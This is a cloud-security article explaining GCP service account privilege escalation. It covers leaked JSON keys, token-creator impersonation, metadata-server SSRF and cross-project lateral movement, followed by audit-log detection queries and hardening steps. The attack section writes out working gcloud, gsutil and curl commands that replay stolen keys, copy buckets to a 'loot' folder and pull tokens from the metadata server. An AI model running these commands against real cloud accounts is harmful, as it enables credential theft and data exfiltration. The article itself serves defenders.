Cloud Security Wire
AWS Azure GCP RSS
GCP Misconfiguration

GCP Service Account Privilege Escalation: Over-Permissioned Keys and Cross-Project Attacks

GCP service accounts are the most common misconfiguration class in Google Cloud environments. This guide covers the key security failure modes — downloadable JSON keys, over-permissioned accounts, cross-project role bindings — and the attacker techniques that exploit them, with detection and remediation steps.

By Editorial Team · ·
#GCP#service-accounts#IAM#privilege-escalation#key-misuse#cloud-security#cross-project#workload-identity#lateral-movement#Cloud Storage#iam.serviceAccountTokenCreator

Service accounts are the identity mechanism GCP uses to authorise workloads — VMs, containers, Cloud Functions, CI/CD pipelines — to interact with GCP APIs. They are also the most common source of serious privilege escalation in GCP environments. The combination of downloadable JSON keys, coarse-grained default roles, and cross-project role bindings creates attack paths that are not obvious from the IAM console and are missed by most cloud security posture assessments.

The Core Problem

Unlike AWS IAM roles (which use short-lived instance profile credentials) or Azure managed identities, GCP service accounts can be issued long-lived JSON key files that are downloaded by the user and stored wherever they choose. Once downloaded, a JSON key is valid indefinitely until explicitly revoked. It can be committed to source control, stored in a container image, included in build artifacts, or emailed across organisations without GCP’s knowledge.

The exploitability of a leaked JSON key depends on what roles the service account holds. GCP’s default setup makes this worse than it should be:

  • The Compute Engine default service account is automatically created in every project and granted the roles/editor role by default. A VM running with the default service account (the default when creating a VM without specifying a service account) has roles/editor on the entire project.
  • Many organisations grant service accounts roles/owner or roles/editor because these are familiar and appear to “just work.”
  • Service accounts are often granted roles in other projects (for cross-project access), creating lateral movement paths between projects.

Key Attack Techniques

1. JSON Key Exfiltration and Replay

Any GCP operation that creates or downloads a service account key generates a JSON file containing the private key. This file authenticates as the service account indefinitely.

# Attacker with a leaked service_account.json authenticates as the SA
gcloud auth activate-service-account --key-file=service_account.json

# Check what roles this SA has
gcloud projects get-iam-policy <project-id> \
  --flatten="bindings[].members" \
  --format="table(bindings.role)" \
  --filter="bindings.members:serviceAccount:<sa-email>"

# If editor role: list all storage buckets
gsutil ls

# Exfiltrate any bucket
gsutil cp -r gs://<target-bucket>/ ./loot/

2. iam.serviceAccountTokenCreator for Impersonation

The iam.serviceAccountTokenCreator role allows any principal holding it to generate short-lived tokens as any target service account. This is the most dangerous cross-account privilege escalation path in GCP:

# If attacker has iam.serviceAccountTokenCreator on a privileged SA:
gcloud iam service-accounts generate-access-token \
  privileged-sa@<project>.iam.gserviceaccount.com \
  --scopes=https://www.googleapis.com/auth/cloud-platform

# Use the returned access token to call GCP APIs as the privileged SA
curl -H "Authorization: Bearer <access-token>" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

3. Metadata Server SSRF to SA Credential

GCP VM instances expose instance metadata at http://169.254.169.254. An SSRF vulnerability in any application running on a GCP VM can reach the metadata server and retrieve the access token for the attached service account:

# From inside a GCP VM (or via SSRF)
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"
# Returns: {"access_token":"...", "expires_in":3599, "token_type":"Bearer"}

# The returned token works for any API the SA has access to

If the VM’s attached service account has roles/editor or higher on the project (the default), this SSRF gives the attacker project-wide editor access.

4. Cross-Project Lateral Movement

A service account in Project A can be granted roles in Project B. GCP’s IAM console only shows project-level role bindings within the current project view — identifying all cross-project role assignments requires organisation-level IAM queries that many teams don’t perform routinely.

# Find all role bindings in the organisation that reference a compromised SA
gcloud asset search-all-iam-policies \
  --scope="organizations/<org-id>" \
  --query="policy.bindings.members:serviceAccount:<compromised-sa-email>" \
  --format="table(resource, policy.bindings.role)"

Detection

Cloud Audit Logs queries

Newly created service account keys (should be rare in production):

gcloud logging read \
  'protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey" \
   protoPayload.authorizationInfo.granted=true' \
  --freshness=24h \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, \
    protoPayload.resourceName)"

Service account token creation (impersonation):

gcloud logging read \
  'protoPayload.methodName="GenerateAccessToken" \
   protoPayload.authorizationInfo.permission="iam.serviceAccounts.getAccessToken"' \
  --freshness=24h \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, \
    protoPayload.resourceName)"

SA key auth from unexpected IP (data only available via Workspace admin or Security Command Center Premium):

Use Security Command Center’s Event Threat Detection module — it flags service account key authentication from IP addresses not in the SA’s usage history.

Remediation: Hardening Service Accounts

Disable JSON key creation at the organisation level:

# Org-level constraint to block SA key creation
gcloud resource-manager org-policies set-policy \
  --organization=<org-id> \
  constraints-disable-service-account-key-creation-policy.yaml

constraints-disable-service-account-key-creation-policy.yaml:

name: organizations/<org-id>/policies/iam.disableServiceAccountKeyCreation
spec:
  rules:
    - enforce: true

Migrate to Workload Identity Federation:

For CI/CD pipelines and external workloads, Workload Identity Federation replaces JSON keys with short-lived tokens exchanged via OIDC:

# Create a workload identity pool for GitHub Actions
gcloud iam workload-identity-pools create "github-pool" \
  --project="<project-id>" \
  --location="global" \
  --display-name="GitHub Actions Pool"

# Bind to a service account via OIDC claims
gcloud iam service-accounts add-iam-policy-binding \
  ci-service-account@<project-id>.iam.gserviceaccount.com \
  --project="<project-id>" \
  --role="roles/iam.workloadIdentityUser" \
  --member="principalSet://iam.googleapis.com/projects/<project-number>/locations/global/workloadIdentityPools/github-pool/attribute.repository/your-org/your-repo"

Audit and remove editor/owner on default service accounts:

# Find all SAs with editor or owner at project level
gcloud projects get-iam-policy <project-id> \
  --flatten="bindings[].members" \
  --format="table(bindings.role, bindings.members)" \
  --filter="bindings.role:(roles/editor OR roles/owner) \
            AND bindings.members:serviceAccount"

Enumerate keys that have been downloaded:

# List all active keys per service account
for SA in $(gcloud iam service-accounts list --format="value(email)"); do
  KEY_COUNT=$(gcloud iam service-accounts keys list --iam-account=$SA \
    --filter="keyType=USER_MANAGED" --format="value(name)" | wc -l)
  if [ $KEY_COUNT -gt 0 ]; then
    echo "$SA has $KEY_COUNT user-managed keys"
    gcloud iam service-accounts keys list --iam-account=$SA --filter="keyType=USER_MANAGED"
  fi
done

Every JSON key returned here is a credential that exists somewhere outside GCP’s control. Revoke keys that cannot be accounted for and migrate to Workload Identity Federation for any workload that currently depends on downloaded keys.

← All Analysis Subscribe via RSS